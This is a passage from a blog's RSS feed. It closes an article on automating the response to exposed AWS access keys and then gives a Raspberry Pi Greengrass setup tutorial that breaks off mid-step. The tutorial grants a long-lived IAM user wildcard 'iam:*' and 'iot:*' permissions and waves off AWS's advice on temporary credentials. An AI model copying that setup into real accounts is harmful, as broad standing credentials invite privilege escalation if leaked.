            &quot;language&quot;:&quot;en_US&quot;
         }
      ],
      &quot;lastUpdatedTime&quot;:&quot;Tue, 10 Jul 2023 09:30:04 GMT&quot;,
      &quot;startTime&quot;:&quot;Tue, 10 Jul 2023 09:30:04 GMT&quot;,
      &quot;eventRegion&quot;:&quot;us-east-1&quot;,
      &quot;endTime&quot;:&quot;Tue, 25 Jul 2023 09:30:04 GMT&quot;,
      &quot;statusCode&quot;:&quot;open&quot;
   }
}
</code></pre>
<!--kg-card-end: markdown--><p>The email from AWS describes what is best to do, but those are manual steps. Can you imagine? Manual steps...</p><p>No, we are what we are, because we automate all the things!</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://eduard.schwarzkopf.center/content/images/2023/08/grafik-9.png" class="kg-image" alt loading="lazy" width="259" height="194"><figcaption>Automate all the things meme</figcaption></figure><p>Now let&apos;s take a look at what we can derive from this.</p><h2 id="from-experiment-to-improvement">From Experiment to Improvement</h2><p>Now is the question what to do with all the information? AWS is providing great steps in the e-mail/issue that you can do in the case of compromised access keys, but as I&apos;ve said before, I want this to be automated. So I did a little bit of thinking and came up with the following steps I want to include:</p><ol><li>Deactivate the access key</li><li>Send useful notifications to the internal security team</li></ol><p>Here is the diagram of what should happen:</p><figure class="kg-card kg-image-card"><img src="https://eduard.schwarzkopf.center/content/images/2023/08/grafik-10.png" class="kg-image" alt loading="lazy" width="602" height="836" srcset="https://eduard.schwarzkopf.center/content/images/size/w600/2023/08/grafik-10.png 600w, https://eduard.schwarzkopf.center/content/images/2023/08/grafik-10.png 602w"></figure><p>This is a minimal approach and more like a proof of concept, rather than a mature action plan. Anyway, I&apos;ve created a simple step function that uses the previous notification and consists of the following steps:</p><!--kg-card-begin: markdown--><pre><code class="language-json">{
  &quot;Comment&quot;: &quot;A step function to send an email when an AWS access key is exposed.&quot;,
  &quot;StartAt&quot;: &quot;DeactivateAccessKey&quot;,
  &quot;States&quot;: {
    &quot;DeactivateAccessKey&quot;: {
      &quot;Type&quot;: &quot;Task&quot;,
      &quot;Parameters&quot;: {
        &quot;UserName.$&quot;: &quot;$.detail.eventMetadata.userName&quot;,
        &quot;AccessKeyId.$&quot;: &quot;$.detail.eventMetadata.publicKey&quot;,
        &quot;Status&quot;: &quot;Inactive&quot;
      },
      &quot;Resource&quot;: &quot;arn:aws:states:::aws-sdk:iam:updateAccessKey&quot;,
      &quot;Next&quot;: &quot;SendEmail&quot;,
      &quot;ResultPath&quot;: &quot;$.AccessKeyStep.status&quot;
    },
    &quot;SendEmail&quot;: {
      &quot;Type&quot;: &quot;Task&quot;,
      &quot;Parameters&quot;: {
        &quot;Content&quot;: {
          &quot;Simple&quot;: {
            &quot;Body&quot;: {
              &quot;Text&quot;: {
                &quot;Data.$&quot;: &quot;States.Format(&apos;Dear Security Team,\r\n\r\nWe wish to bring to your immediate attention an incident of AWS access key exposure detected by automated \&quot;GitHub secret scan\&quot;. Here is the incident details:\r\n\r\nEvent ID: {}\r\nIAM User: {}\r\nAccess Key ID: {}\r\nExposed Key Status: [Status will be filled here]\r\nEvent Timestamp: {}\r\nInitial Detection Source: AWS Health Dashboard\r\nAutomated Action Taken: [Automated Action will be filled here]\r\n\r\nPlease acknowledge receipt of this notification and keep us updated on your progress with the investigation and remediation. Remember, security is our collective responsibility.&apos;, $.detail.eventArn, $.detail.eventMetadata.userName, $.resources[0], $.time)&quot;
              }
            },
            &quot;Subject&quot;: {
              &quot;Data&quot;: &quot;Security Alert: AWS Access Key Exposure&quot;
            }
          }
        },
        &quot;Destination&quot;: {
          &quot;ToAddresses&quot;: [
            &quot;security@example.com&quot;
          ]
        },
        &quot;FromEmailAddress&quot;: &quot;alert@example.com&quot;
      },
      &quot;Resource&quot;: &quot;arn:aws:states:::aws-sdk:sesv2:sendEmail&quot;,
      &quot;ResultPath&quot;: null,
      &quot;End&quot;: true
    }
  }
}
</code></pre>
<!--kg-card-end: markdown--><p>This can be easily extended with more steps, checks, and whatnot. For example, you could also add them <code>GetAccessKeyLastUsed</code> to have an idea of where to look, when an incident occurs. Be careful! This data might not be the most recent one. Make sure to check CloudTrail for other activities. Use the filter to search for your exposed access key: <code>https://&lt;region&gt;.console.aws.amazon.com/cloudtrail/home?region=&lt;region&gt;#/events?AccessKeyId=&lt;access_key_id&gt;</code>.</p><p>If you feel fancy, you can add this link to your notification. Just to give you another example of what you can do.</p><h2 id="lessons-learned-and-best-practices">Lessons Learned and Best Practices</h2><p>I&apos;ve learned a lot from this little experiment. Especially how to avoid exposing my keys over and over again thanks to EventBridge replay functionality. Please be smarter than me and use this instead. (AWS Support, I&apos;m sorry)</p><p>Regarding access keys, I&apos;ve learned the following:</p><ol><li>Don&apos;t use them</li><li>Avoid them</li><li>That&apos;s it</li></ol><p>Simple right, but you are probably now like:</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://eduard.schwarzkopf.center/content/images/2023/08/grafik-11.png" class="kg-image" alt loading="lazy" width="239" height="250"><figcaption>confused meme</figcaption></figure><p>&quot;But I need access keys because my resources are outside of AWS&quot;. In that case, just use <a href="https://docs.aws.amazon.com/rolesanywhere/latest/userguide/introduction.html?ref=eduard.schwarzkopf.center" rel="nofollow">AWS Identity and Access Management Roles Anywhere</a>. Problem solved.</p><p>If you still insist on using access keys, make sure to do at least the following:</p><ul><li>Create a dedicated user for each application</li><li>Give that user the least privileges</li><li>Don&apos;t hardcode your access keys into your project</li><li>rotate them</li><li>remove them</li></ul><p>By removing them, I mean especially those that are no longer used!</p><p>Consider moving your application where your access keys are. Yes, into the cloud! A far better solution to consider is to use roles instead of access keys. Here is an excellent article <a href="https://medium.com/lego-engineering/no-more-aws-keys-for-you-8f140de41ec2?ref=eduard.schwarzkopf.center" rel="nofollow">No more AWS keys for you</a> from Nicole Yip.</p><p>Still, this doesn&apos;t answer the question of what do to in the case of exposed keys in detail. After some digging around, I found the response steps from <code>NIST Special Publication 800-61r2 Computer Security Incident Handling Guide</code> (what a long name):</p><ol><li>Preparation</li><li>Detection</li><li>Containment</li><li>Eradication</li><li>Recovery</li><li>Lessons learned</li></ol><p>What does this mean in detail? <a href="https://github.com/aws-samples/aws-customer-playbook-framework/blob/main/docs/Compromised_IAM_Credentials.md?ref=eduard.schwarzkopf.center">AWS kindly provides an example Incident Response Playbook</a> what those steps mean in detail, which I proudly stole from them:</p><!--kg-card-begin: markdown--><blockquote>
<ul>
<li>[PREPARATION] Perform an Asset Inventory</li>
<li>[PREPARATION] Implement a training plan to identify and respond to exposed IAM credentials</li>
<li>[PREPARATION] Implement a communication strategy for incident response</li>
<li>[DETECTION] Identify Root Account Access (authorized and not)</li>
<li>[DETECTION] Identify New or unrecognized IAM users</li>
<li>[DETECTION] Identify Unrecognized or unauthorized resources (e.g., EC2, Lambda)</li>
<li>[DETECTION] Identify and find exposed secrets</li>
<li>[DETECTION] Identify Unusual billing increases</li>
<li>[DETECTION] Respond to notification from AWS or a third party that my AWS resources or account might be compromised</li>
<li>[DETECTION] Identify any potentially unauthorized IAM user credentials</li>
<li>[PREPARATION] Identify Escalation Procedures</li>
<li>[DETECTION AND ANALYSIS] Review CloudTrail Logs</li>
<li>[DETECTION AND ANALYSIS] Review VPC Flow Logs</li>
<li>[DETECTION AND ANALYSIS] Review Endpoint / Host Based Logs</li>
<li>[CONTAINMENT] Perform appropriate containment actions</li>
<li>[ERADICATION] Review the findings from Review CloudTrail event history for activity by the compromised access key</li>
<li>[ERADICATION] Review the Avoiding unexpected charges</li>
<li>[RECOVERY] Perform appropriate recovery actions</li>
<li>[PREPARATION] Perform a Prowler IAM Scan</li>
<li>[PREPARATION] Enable MFA</li>
<li>[PREPARATION] Verify your account information</li>
<li>[PREPARATION] Use AWS Git projects to scan for evidence of unauthorized use</li>
<li>[PREPARATION] Avoid using the root user for day-to-day operations</li>
<li>[PREPARATION] Evaluate your Overall Security Posture</li>
</ul>
</blockquote>
<!--kg-card-end: markdown--><p>From this guideline, you can create a detailed playbook which fits your own needs. Make sure to have it ready when you need it and give the whole guideline a read!</p><p>Sidenote: For all my fellow germans, there is also a <a href="https://www.bsi.bund.de/EN/Themen/Oeffentliche-Verwaltung/Sicherheitspruefungen/IT-Forensik/forensik_node.html?ref=eduard.schwarzkopf.center" rel="nofollow">guideline provided by the BSI</a> (Thanks to Manuel for the info!). This might be more useful, because of compliance reasons.</p><h2 id="conclusion">Conclusion</h2><p>That wraps it up. Nothing beats hands-on experience. I&apos;ve learned <em>a lot</em> by just exposing some access keys over and over again. Don&apos;t worry, I&apos;ve also learned to use EventBridge the right way, so I won&apos;t end up with 15.000 support tickets, so should you!</p><p>My takeaways from this are as follows:</p><ul><li>Avoid using access keys where you can. Use roles instead!</li><li>Prepare for access key exposure!</li><li>Make sure to lay out your action plan</li><li>Test your plan yourself before somebody forces you to do it</li></ul><p>While I&apos;ve still got some research to do, and more measures to implement, I hope this exploration of the world of public access key exposure has been as enlightening for you as it was for me. If you are as prone to face-palm moments as I am, I&apos;d like to think that you&apos;ll sleep a bit easier tonight.</p><p>My next steps are now to bring my new knowledge into a playbook that follows the best practices from AWS and NIST.</p><p>Stay tuned and good night.</p><hr><p>This article was originally written for <a href="https://evoila.com/de?ref=eduard.schwarzkopf.center">evoila</a></p>]]></content:encoded></item><item><title><![CDATA[How to create a local IoT broker with Greengrass and connect it to the AWS cloud]]></title><description><![CDATA[<h2 id="introduction">Introduction</h2><p>Greengrass is a software developed by Amazon Web Services (AWS) for the deployment of local compute, messaging, and data caching capabilities for Internet of Things (IoT) devices. This allows IoT devices to operate even when disconnected from the cloud and enables real-time local processing and the ability to respond</p>]]></description><link>https://eduard.schwarzkopf.center/how-to-create-a-local-iot-broker-with-greengrass-and-connect-it-to-the-aws-cloud/</link><guid isPermaLink="false">64a80dad6585eb00015bfd1f</guid><dc:creator><![CDATA[Eduard Schwarzkopf]]></dc:creator><pubDate>Fri, 07 Jul 2023 13:12:28 GMT</pubDate><content:encoded><![CDATA[<h2 id="introduction">Introduction</h2><p>Greengrass is a software developed by Amazon Web Services (AWS) for the deployment of local compute, messaging, and data caching capabilities for Internet of Things (IoT) devices. This allows IoT devices to operate even when disconnected from the cloud and enables real-time local processing and the ability to respond quickly to events. One common deployment scenario for Greengrass is using a small, low-power IoT device as the core device. These devices, such as the Raspberry Pi, can be configured to run Greengrass and connected to sensors and actuators. This allows for data to be collected and processed locally on the IoT device, and then securely sent to the cloud for further analysis and storage. This approach can be particularly useful in situations where a reliable internet connection may not be available or where low latency is crucial. In situations where more CPU power is needed, a more powerful device can be used as the IoT core. For example, a larger single-board computer like the NUC or Intel&apos;s IoT gateway could be used, providing more processing power and storage capacity for more demanding workloads. Additionally, the ability to run AWS Lambda functions on the IoT device with Greengrass enables the execution of specific business logic on the device itself, reducing the need to constantly send data to the cloud.</p><h2 id="prerequisites">Prerequisites</h2><blockquote><strong>Disclaimer:</strong> This tutorial is for people that know the basics of AWS and can read code.</blockquote><p>What you need to follow this tutorial:</p><h3 id="hardware">Hardware</h3><ul><li>Raspberry Pi (Recommended is a Pi 3 or 4. For setting up a Zero, check out this <a href="https://youtu.be/Ity2Z03Lp1k?t=1059&amp;ref=eduard.schwarzkopf.center" rel="nofollow">video</a>)</li><li>SD Card</li><li>Electricity (Duh!)</li></ul><h3 id="software">Software</h3><ol><li>AWS IoT Greengrass Core software: This is the software that runs on the Raspberry Pi and provides local compute and communication capabilities for connected devices. It can be downloaded from the AWS IoT Greengrass website.</li><li>Operating System: Greengrass v2 supports Linux or Windows. In this tutorial, I&apos;m going to use <a href="https://www.raspberrypi.com/software/?ref=eduard.schwarzkopf.center" rel="nofollow">Raspberry Pi OS</a>.</li><li>Python: Greengrass uses python as its primary programming language. It requires python 3.7 or higher.</li><li><a href="https://www.w3schools.com/python/python_pip.asp?ref=eduard.schwarzkopf.center" rel="nofollow">pip</a></li><li><a href="https://virtualenv.pypa.io/en/latest/index.html?ref=eduard.schwarzkopf.center" rel="nofollow">virtualenv</a></li></ol><p>Also, grab a cup of coffee, you&apos;ll need it. Go ahaid, I&apos;ll wait for you.</p><figure class="kg-card kg-image-card"><img src="https://eduard.schwarzkopf.center/content/images/2023/07/grab_coffee.gif" class="kg-image" alt loading="lazy" width="220" height="220"></figure><h2 id="local-setup">Local Setup</h2><p>There are plenty of tutorials on how to set up a Raspberry Pi, so I won&#x2019;t go through this topic. If you need a tutorial, please read the official documentation, most tutorials are outdated on how to set up a pi: <a href="https://www.raspberrypi.com/documentation/computers/getting-started.html?ref=eduard.schwarzkopf.center" rel="nofollow">https://www.RaspberryPi.com/documentation/computers/getting-started.html</a><br>Just make sure, it has SSH and access to the internet.</p><p>SSH onto your Raspberry and install the following software.</p><p>But first, let&#x2019;s update our raspberry:</p><p><code>sudo apt update &amp;&amp; sudo apt upgrade -y</code></p><p>Install Java:</p><p><code>sudo apt install default-jdk</code></p><p>check if Java is installed with:</p><p><code>java --version</code></p><p>you should get a version from this command, like this:</p><pre><code>openjdk 11.0.16 2022-07-19
OpenJDK Runtime Environment (build 11.0.16+8-post-Raspbian-1deb11u1)
OpenJDK Server VM (build 11.0.16+8-post-Raspbian-1deb11u1, mixed mode)
</code></pre><h2 id="cloud-setup">Cloud Setup</h2><p>Go to the AWS Management Console and head over to IAM. We need a User. Give that User programmatic access and make sure to save the Access and Private Key. You&#x2019;ll need the user just to pull the correct data during the Greengrass installation. When that is done, you can delete that user.</p><figure class="kg-card kg-image-card"><img src="https://eduard.schwarzkopf.center/content/images/2023/07/grafik-1.png" class="kg-image" alt loading="lazy" width="2000" height="1734" srcset="https://eduard.schwarzkopf.center/content/images/size/w600/2023/07/grafik-1.png 600w, https://eduard.schwarzkopf.center/content/images/size/w1000/2023/07/grafik-1.png 1000w, https://eduard.schwarzkopf.center/content/images/size/w1600/2023/07/grafik-1.png 1600w, https://eduard.schwarzkopf.center/content/images/2023/07/grafik-1.png 2090w" sizes="(min-width: 720px) 720px"></figure><p><strong>Again: it is important to grab the access and secret key, after creating the user.</strong></p><p>Now that user needs the right permissions. &#xA0;Create a Policy with the following permissions:</p><pre><code>{
    &quot;Version&quot;: &quot;2012-10-17&quot;,
    &quot;Statement&quot;: [
        {
            &quot;Sid&quot;: &quot;VisualEditor0&quot;,
            &quot;Effect&quot;: &quot;Allow&quot;,
            &quot;Action&quot;: [
                &quot;greengrass:*&quot;,
                &quot;iot:DescribeEndpoint&quot;,
                &quot;iam:*&quot;,
                &quot;iot:*&quot;
            ],
            &quot;Resource&quot;: &quot;*&quot;
        }
    ]
}
</code></pre><p>This policy is overpermissive, but because we are only using this during the one-time installation, it is fine. Give that Permission to your freshly created user.</p><p>Awesome! The first steps are done. Take a sip of your coffee!</p><h2 id="installing-and-configuring-greengrass">Installing and configuring Greengrass</h2><p>Time to create the core Device. This will be the representation of the Raspberry Pi. Navigate to IoT Core, under Manage, and go to Greengrass <strong>Devices -&gt; Core Device</strong>. Click the bright orange button (Setup one core device).</p><figure class="kg-card kg-image-card"><img src="https://eduard.schwarzkopf.center/content/images/2023/07/grafik-2.png" class="kg-image" alt loading="lazy" width="2000" height="781" srcset="https://eduard.schwarzkopf.center/content/images/size/w600/2023/07/grafik-2.png 600w, https://eduard.schwarzkopf.center/content/images/size/w1000/2023/07/grafik-2.png 1000w, https://eduard.schwarzkopf.center/content/images/size/w1600/2023/07/grafik-2.png 1600w, https://eduard.schwarzkopf.center/content/images/size/w2400/2023/07/grafik-2.png 2400w" sizes="(min-width: 720px) 720px"></figure><p>Now give your Core device a name and select no group. <em>Note: Since I&apos;m just showing how to set up one device, I don&apos;t need groups. If you are planning on having multiple core devices and want to group them, e.g. to deploy and configure components, go ahead and create a group.</em></p><figure class="kg-card kg-image-card"><img src="https://eduard.schwarzkopf.center/content/images/2023/07/grafik-3.png" class="kg-image" alt loading="lazy" width="1730" height="1748" srcset="https://eduard.schwarzkopf.center/content/images/size/w600/2023/07/grafik-3.png 600w, https://eduard.schwarzkopf.center/content/images/size/w1000/2023/07/grafik-3.png 1000w, https://eduard.schwarzkopf.center/content/images/size/w1600/2023/07/grafik-3.png 1600w, https://eduard.schwarzkopf.center/content/images/2023/07/grafik-3.png 1730w" sizes="(min-width: 720px) 720px"></figure><p>The next steps are all on the Raspberry Pi, so let&apos;s switch over. AWS is recommending using temporary security credentials (which makes sense), but since you&apos;re just going to use that user during the one time installation, we will kindly ignore that here.</p><figure class="kg-card kg-image-card"><img src="https://eduard.schwarzkopf.center/content/images/2023/07/grafik-4.png" class="kg-image" alt loading="lazy" width="1454" height="1777" srcset="https://eduard.schwarzkopf.center/content/images/size/w600/2023/07/grafik-4.png 600w, https://eduard.schwarzkopf.center/content/images/size/w1000/2023/07/grafik-4.png 1000w, https://eduard.schwarzkopf.center/content/images/2023/07/grafik-4.png 1454w" sizes="(min-width: 720px) 720px"></figure><p>SSH into your Raspberry Pi and type in the commands from the setup page: (Replace <code>&lt;AWS_ACCESS_KEY_ID&gt;</code> and <code>&lt;AWS_SECRET_ACCESS_KEY&gt;</code> with the keys from the previously created user)</p><pre><code>export AWS_ACCESS_KEY_ID=&lt;AWS_ACCESS_KEY_ID&gt;
export AWS_SECRET_ACCESS_KEY=&lt;AWS_SECRET_ACCESS_KEY&gt;
</code></pre><p>Copy the command to download the Greengrass installer. Similar to this one:</p><p><code>curl -s https://d2s8p88vqu9w66.cloudfront.net/releases/greengrass-nucleus-latest.zip &gt; greengrass-nucleus-latest.zip &amp;&amp; unzip greengrass-nucleus-latest.zip -d GreengrassInstaller</code></p><p>After the download is finished, run the command to install Greengrass. Use the command AWS is providing you in step 3.2. It is similar to this:</p><p><code>sudo -E java -Droot=&quot;/greengrass/v2&quot; -Dlog.store=FILE -jar ./GreengrassInstaller/lib/Greengrass.jar --aws-region eu-central-1 --thing-name MyGreengrassCoreDevice &#xA0;--component-default-user ggc_user:ggc_group --provision true --setup-system-service true --deploy-dev-tools true</code></p><p>Best time to take another sip!</p><figure class="kg-card kg-image-card"><img src="https://eduard.schwarzkopf.center/content/images/2023/07/grinch_coffee.gif" class="kg-image" alt loading="lazy" width="498" height="302"></figure><p>The installation should be done fairly quickly and you get some info. Check if the service is running:</p><p><code>sudo systemctl status greengrass.service</code></p><p>If it&apos;s green and running, congratulations! If it&apos;s dead, check out the <a href="https://docs.aws.amazon.com/greengrass/v2/developerguide/troubleshooting.html?ref=eduard.schwarzkopf.center" rel="nofollow">troubleshooting part of the docs</a>.</p><p>You can read more about the installation process and parameters <a href="https://docs.aws.amazon.com/greengrass/v2/developerguide/quick-installation.html?ref=eduard.schwarzkopf.center" rel="nofollow">here</a>.</p><p>Go back to the management console, and click on &quot;View core devices&quot;. You should see your core device sooner or later pop up in the table.</p><p>Perfect! You&apos;ve done the hardest part of the tutorial! Take another sip of your coffee and enjoy the victory! This is also the perfect time to delete the user you&apos;ve created before.</p><h2 id="deployment">Deployment</h2><p>Next, we want the Raspberry Pi to receive and forward messages to IoT Core.</p><p>For this to properly work, we will need a couple of Greengrass components on the Raspberry Pi:</p><ul><li>Auth</li><li>Bridge</li><li>Broker (Moquette)</li></ul><p>On the management console, under IoT Core, go over to Deployment. Search for <strong>Deployment for </strong> (Replace with your core device name).</p><figure class="kg-card kg-image-card"><img src="https://eduard.schwarzkopf.center/content/images/2023/07/grafik-6.png" class="kg-image" alt loading="lazy" width="2000" height="796" srcset="https://eduard.schwarzkopf.center/content/images/size/w600/2023/07/grafik-6.png 600w, https://eduard.schwarzkopf.center/content/images/size/w1000/2023/07/grafik-6.png 1000w, https://eduard.schwarzkopf.center/content/images/size/w1600/2023/07/grafik-6.png 1600w, https://eduard.schwarzkopf.center/content/images/size/w2400/2023/07/grafik-6.png 2400w" sizes="(min-width: 720px) 720px"></figure><p>Select the deployment and click on <strong>Revise</strong> on the top right corner.</p><p>You can take a look at the info and click next.</p><figure class="kg-card kg-image-card"><img src="https://eduard.schwarzkopf.center/content/images/2023/07/grafik-7.png" class="kg-image" alt loading="lazy" width="2000" height="1032" srcset="https://eduard.schwarzkopf.center/content/images/size/w600/2023/07/grafik-7.png 600w, https://eduard.schwarzkopf.center/content/images/size/w1000/2023/07/grafik-7.png 1000w, https://eduard.schwarzkopf.center/content/images/size/w1600/2023/07/grafik-7.png 1600w, https://eduard.schwarzkopf.center/content/images/size/w2400/2023/07/grafik-7.png 2400w" sizes="(min-width: 720px) 720px"></figure><p>Under Public components make sure the toggle for <strong>Show only selected components</strong> is disabled. Search for <strong>Auth</strong> and select the component. Repeat the same for <strong>Moquette</strong> and <strong>Bridge</strong>. Your selection should be as the following:</p><figure class="kg-card kg-image-card"><img src="https://eduard.schwarzkopf.center/content/images/2023/07/grafik-8.png" class="kg-image" alt loading="lazy" width="1454" height="674" srcset="https://eduard.schwarzkopf.center/content/images/size/w600/2023/07/grafik-8.png 600w, https://eduard.schwarzkopf.center/content/images/size/w1000/2023/07/grafik-8.png 1000w, https://eduard.schwarzkopf.center/content/images/2023/07/grafik-8.png 1454w" sizes="(min-width: 720px) 720px"></figure><p>Click next, to configure the components. In this step, I&apos;m going to show you how you can control what topics are allowed and what IoTs can publish messages to topics.</p><p>Select the Auth component and click <strong>Configure component</strong> on the top right corner.</p><figure class="kg-card kg-image-card"><img src="https://eduard.schwarzkopf.center/content/images/2023/07/grafik-9.png" class="kg-image" alt loading="lazy" width="2000" height="810" srcset="https://eduard.schwarzkopf.center/content/images/size/w600/2023/07/grafik-9.png 600w, https://eduard.schwarzkopf.center/content/images/size/w1000/2023/07/grafik-9.png 1000w, https://eduard.schwarzkopf.center/content/images/size/w1600/2023/07/grafik-9.png 1600w, https://eduard.schwarzkopf.center/content/images/size/w2400/2023/07/grafik-9.png 2400w" sizes="(min-width: 720px) 720px"></figure><p>This should bring up a modal form, where you place the following JSON under <em>Configuration to merge</em>:</p><figure class="kg-card kg-image-card"><img src="https://eduard.schwarzkopf.center/content/images/2023/07/grafik-10.png" class="kg-image" alt loading="lazy" width="2000" height="1155" srcset="https://eduard.schwarzkopf.center/content/images/size/w600/2023/07/grafik-10.png 600w, https://eduard.schwarzkopf.center/content/images/size/w1000/2023/07/grafik-10.png 1000w, https://eduard.schwarzkopf.center/content/images/size/w1600/2023/07/grafik-10.png 1600w, https://eduard.schwarzkopf.center/content/images/size/w2400/2023/07/grafik-10.png 2400w" sizes="(min-width: 720px) 720px"></figure><pre><code>{
  &quot;deviceGroups&quot;: {
    &quot;formatVersion&quot;: &quot;2021-03-05&quot;,
    &quot;definitions&quot;: {
      &quot;MyDeviceGroup&quot;: {
        &quot;selectionRule&quot;: &quot;thingName: MyClientDevice* OR thingName: MyOtherClientDevice*&quot;,
        &quot;policyName&quot;: &quot;MyClientDevicePolicy&quot;
      }
    },
    &quot;policies&quot;: {
      &quot;MyClientDevicePolicy&quot;: {
        &quot;AllowAll&quot;: {
          &quot;statementDescription&quot;: &quot;Allow client devices.&quot;,
          &quot;operations&quot;: [
            &quot;mqtt:connect&quot;,
            &quot;mqtt:publish&quot;,
            &quot;mqtt:subscribe&quot;
          ],
          &quot;resources&quot;: [
            &quot;*&quot;
          ]
        }
      }
    }
  }
}
</code></pre><p>This Configuration allows only Things with a certain name (e.g. <em>MyClientDevice1</em>, <em>MyOtherClientDevice3</em>) to connect, publish and subscribe to topics on this broker.</p><p>Click confirm at the bottom.</p><p>Next, select the Bridge component and again on <strong>Configure component</strong>. Again under <em>Configuration to merge</em>, place the following configuration:</p><pre><code>{
  &quot;mqttTopicMapping&quot;: {
    &quot;HelloWorldIotCoreMapping&quot;: {
      &quot;topic&quot;: &quot;clients/+/hello/world&quot;,
      &quot;source&quot;: &quot;LocalMqtt&quot;,
      &quot;target&quot;: &quot;IotCore&quot;
    }
  }
}
</code></pre><p>This configuration will only forward messages to IoT Core on the topic <code>clients/+/hello/world</code>. The + is a wildcard here.</p><p>Click confirm at the bottom. That&apos;s it.</p><p>Click <code>Next</code>, <code>Next</code> again, and finally <code>Deploy</code>.</p><p>This will kick off the deployment and the Greengrass will install all components on the Raspberry Pi.</p><p>Now go to your core device again and over to the tab <code>Client Devices</code> and click on <code>Manage endpoints</code>.</p><figure class="kg-card kg-image-card"><img src="https://eduard.schwarzkopf.center/content/images/2023/07/grafik-11.png" class="kg-image" alt loading="lazy" width="2000" height="1056" srcset="https://eduard.schwarzkopf.center/content/images/size/w600/2023/07/grafik-11.png 600w, https://eduard.schwarzkopf.center/content/images/size/w1000/2023/07/grafik-11.png 1000w, https://eduard.schwarzkopf.center/content/images/size/w1600/2023/07/grafik-11.png 1600w, https://eduard.schwarzkopf.center/content/images/size/w2400/2023/07/grafik-11.png 2400w" sizes="(min-width: 720px) 720px"></figure><p>Here simply add the IP of your Raspberry Pi and the Port <code>8883</code>. This will allow connection on that IP and the provided CA certificate by the Auth component.</p><figure class="kg-card kg-image-card"><img src="https://eduard.schwarzkopf.center/content/images/2023/07/grafik-12.png" class="kg-image" alt loading="lazy" width="1788" height="886" srcset="https://eduard.schwarzkopf.center/content/images/size/w600/2023/07/grafik-12.png 600w, https://eduard.schwarzkopf.center/content/images/size/w1000/2023/07/grafik-12.png 1000w, https://eduard.schwarzkopf.center/content/images/size/w1600/2023/07/grafik-12.png 1600w, https://eduard.schwarzkopf.center/content/images/2023/07/grafik-12.png 1788w" sizes="(min-width: 720px) 720px"></figure><p><strong>Coffee? Coffee!</strong></p><figure class="kg-card kg-image-card"><img src="https://eduard.schwarzkopf.center/content/images/2023/07/fry_coffee.gif" class="kg-image" alt loading="lazy" width="500" height="375"></figure><p>That is the perfect time to check the status of your deployment. You can do this in the Management Console under <code>Deployments</code> or check the Greengrass logs on your Raspberry Pi with:</p><p><code>sudo tail -f /greengrass/v2/logs/greengrass.log</code></p><p>To list all installed components you can use <code>sudo /greengrass/v2/bin/greengrass-cli component list</code></p><p>In that output, you should see the Auth, Bridge, and Broker components.</p><p>If you need detailed information on how to set this up, you guessed it -&gt; <a href="https://catalog.us-east-1.prod.workshops.aws/workshops/5ecc2416-f956-4273-b729-d0d30556013f/en-US/chapter6-mqtt-broker/10-mqtt-broker-1?ref=eduard.schwarzkopf.center" rel="nofollow">docs</a></p><p>Everything is set up. You can now send some messages. Finally! But for this, you first need to set up a thing.</p><h3 id="side-note">Side note</h3><p>If an MQTT Broker already exists in your environment, it can be reused instead of the MQTT Broker provided by Greengrass. The IoT Core device can then act as a bridge between the existing MQTT Broker and AWS by installing and configuring the necessary software. This allows for seamless communication and data exchange between the existing MQTT Broker and the cloud-based services provided by AWS. This approach allows for the continued use of the existing MQTT Broker while also utilizing the capabilities of AWS IoT.</p><h2 id="setup-a-thing">Setup a Thing</h2><p>Luckily, this is done quickly and all we need to have in the end are the certificates. These certifactes will have a policy attached to them and will be used to authenticate the thing.</p><h3 id="create-policy">Create Policy</h3><p>Let&apos;s start with the required policy. Go to <strong>Security -&gt; Policies -&gt; Create Policy</strong>.</p><p>For the Name I choose <strong>MyClientDevicePolicy</strong> and add all IoT Policies to that device:</p><ul><li>iot:Connect</li><li>iot:Publish</li><li>iot:Receive</li><li>iot:Subscribe</li></ul><figure class="kg-card kg-image-card"><img src="https://eduard.schwarzkopf.center/content/images/2023/07/grafik-14.png" class="kg-image" alt loading="lazy" width="2000" height="1110" srcset="https://eduard.schwarzkopf.center/content/images/size/w600/2023/07/grafik-14.png 600w, https://eduard.schwarzkopf.center/content/images/size/w1000/2023/07/grafik-14.png 1000w, https://eduard.schwarzkopf.center/content/images/size/w1600/2023/07/grafik-14.png 1600w, https://eduard.schwarzkopf.center/content/images/size/w2400/2023/07/grafik-14.png 2400w" sizes="(min-width: 720px) 720px"></figure><p>replace <code>&lt;core-device-thing-arn&gt;</code> with your own ARN, which looks like this: <code>arn:aws:iot:&lt;region&gt;:&lt;account-id&gt;:thing/&lt;NameOfTheCoreDevice&gt;</code>.</p><pre><code>{
  &quot;Version&quot;: &quot;2012-10-17&quot;,
  &quot;Statement&quot;: [
    {
      &quot;Effect&quot;: &quot;Allow&quot;,
      &quot;Action&quot;: &quot;iot:Connect&quot;,
      &quot;Resource&quot;: &quot;&lt;core-device-thing-arn&gt;&quot;
    },
    {
      &quot;Effect&quot;: &quot;Allow&quot;,
      &quot;Action&quot;: &quot;iot:Publish&quot;,
      &quot;Resource&quot;: &quot;&lt;core-device-thing-arn&gt;&quot;
    },
    {
      &quot;Effect&quot;: &quot;Allow&quot;,
      &quot;Action&quot;: &quot;iot:Receive&quot;,
      &quot;Resource&quot;: &quot;&lt;core-device-thing-arn&gt;&quot;
    },
    {
      &quot;Effect&quot;: &quot;Allow&quot;,
      &quot;Action&quot;: &quot;iot:Subscribe&quot;,
      &quot;Resource&quot;: &quot;&lt;core-device-thing-arn&gt;&quot;
    }
  ]
}
</code></pre><h3 id="create-thing">Create Thing</h3><p>Go to <strong>Manage -&gt; All devices -&gt; Things</strong> and click on <strong>Create Thing</strong>. Choose <strong>Create single thing</strong>.</p><p>Click next.</p><p>For the name, remember the configs you set earlier. The name has to start with <strong>MyClientDevice</strong>. For the sake simplicity, i pick <em>MyClientDevice1</em>.</p><p>Click next.</p><p>Choose <strong>Auto-generate a new certificate</strong>.</p><p>Click next.</p><p>Attach the policy you&apos;ve created in the previous step. This policy is attached to the certificate.</p><figure class="kg-card kg-image-card"><img src="https://eduard.schwarzkopf.center/content/images/2023/07/grafik-15.png" class="kg-image" alt loading="lazy" width="2000" height="619" srcset="https://eduard.schwarzkopf.center/content/images/size/w600/2023/07/grafik-15.png 600w, https://eduard.schwarzkopf.center/content/images/size/w1000/2023/07/grafik-15.png 1000w, https://eduard.schwarzkopf.center/content/images/size/w1600/2023/07/grafik-15.png 1600w, https://eduard.schwarzkopf.center/content/images/size/w2400/2023/07/grafik-15.png 2400w" sizes="(min-width: 720px) 720px"></figure><p>Create 